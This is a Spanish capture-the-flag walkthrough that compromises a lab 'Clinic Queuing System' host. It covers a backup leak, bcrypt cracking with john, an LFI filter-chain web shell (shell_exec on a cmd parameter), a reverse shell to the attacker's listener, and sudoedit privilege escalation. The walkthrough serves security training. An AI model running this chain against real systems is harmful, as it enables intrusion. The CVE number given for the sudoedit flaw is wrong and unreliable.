Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-23 03:46 EST
Nmap scan report for insanity.dl (172.17.0.2)
Host is up (0.000043s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: LOGIN | Clinic Queuing System
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds
Si entramos en la pagina veremos un login, el cual si ponemos las credenciales por defecto veremos que no funciona, vamos a realizar un poco de fuzzing a ver que encontramos.
Vemos bastantes cosas interesantes al realizar un poco de fuzzing, vamos a probar a entrar en la carpeta /backup y veremos lo siguiente:
Vemos que hay un archivo llamado backup.zip, que si nos lo descargamos y lo descomprimimos, veremos lo siguiente:
cat db/clinic_queuing_db.db
Info:
SQLite format 3@ .WJ
�V
��Q%%�etablepatient_listpatient_listCREATE TABLE `patient_list` (
`patient_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
`queue_no` TEXT NOT NULL,
`fullname` INTEGER NOT NULL,
`address` TEXT NOT NULL,
`contact` TEXT NOT NULL,
`age` INTEGER NOT NULL,
`weight` FLOAT NOT NULL Default 0,
`bp_rate` TEXT NULL,
`status` TINYINT(2) NOT NULL Default 0,
`notify` TINYINT(2) NOT NULL Default 1,
`date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�'�tableuser_listuser_listCREATE TABLE `user_list` (
`user_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
`fullname` INTEGER NOT NULL,
`username` TEXT NOT NULL,
`password` TEXT NOT NULL,
`type` TINYINT(1) NOT NULL Default 0,
`status` TINYINT(1) NOT NULL Default 0,
`date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
%�%m ) 3Jessica Castrojessica$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK2024-09-20 14:15:46j '� 3Administrato
Vemos una linea bastante interesante que pone un nombre de usuario y un hash asociado a dicho usuario.
Y ahora vamos a intentar saber que password es la correcta para el nombre de usuario jessica:
john --wordlist=users.txt hash
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 14 candidates left, minimum 24 needed for performance.
j.castro (?)
1g 0:00:00:00 DONE (2025-01-23 04:09) 14.28g/s 200.0p/s 200.0c/s 200.0C/s jessica..jc
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Vemos que el que nos interesa es la contraseña j.castro es el que coincide con el hash.
Por lo que ahora iniciaremos sesion con las credenciales que encontramos:
User: jessica
Pass: j.castro
Y vemos que estaremos dentro logeados con dicho usuario:
Vemos que si le damos alguna de las opciones que esta en el header en la URL lleva un parametro llamado ?page= vamos a ver si se puede utilizar algun Wrapper de LFI para poder hacer un parametro cmd= y asi poder ejecutar comandos del sistema.
[+] The following gadget chain will generate the following code : <?php echo shell_exec($_GET["cmd"]);?> (base64 value: PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWyJjbWQiXSk7Pz4)
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Copiamos eso y lo metemos despues del igual de la siguiente manera...
Y si ejecutamos lo de la URL y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 44696
$ whoami
whoami
www-data
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user jessica
Si probamos a utilizar la misma contraseña que en la pagina veremos que funciona:
su jesssica
Metemos como contraseña j.castro y veremos que estamos dentro.
Privilege Escalation
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for jessica on 9ea7af8cd4f5:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jessica may run the following commands on 9ea7af8cd4f5:
(root) NOPASSWD: sudoedit /var/www/html/*
Veremos que podemos ejecutar sudoedit en la siguiente ruta como el usuario root, por lo que haremos lo siguiente:
Vemos que esto tiene una vulnerabilidad con un CVE asociado llamado CVE-2021-3560 y que su descripcion es la siguiente:
Descripción de la vulnerabilidad
En Sudo anterior a 1.9.12p2, la característica sudoedit (también conocida como -e) maneja mal argumentos adicionales pasados en las variables de entorno proporcionadas por el usuario (SUDO_EDITOR, VISUAL y EDITOR), permitiendo a un atacante local agregar entradas arbitrarias a la lista de archivos para procesar. . Esto puede conducir a una escalada de privilegios. Las versiones afectadas son 1.8.0 a 1.9.12.p1. El problema existe porque un editor especificado por el usuario puede contener un argumento "--" que anula un mecanismo de protección, por ejemplo, un valor EDITOR='nano -- /path/to/extra/file'.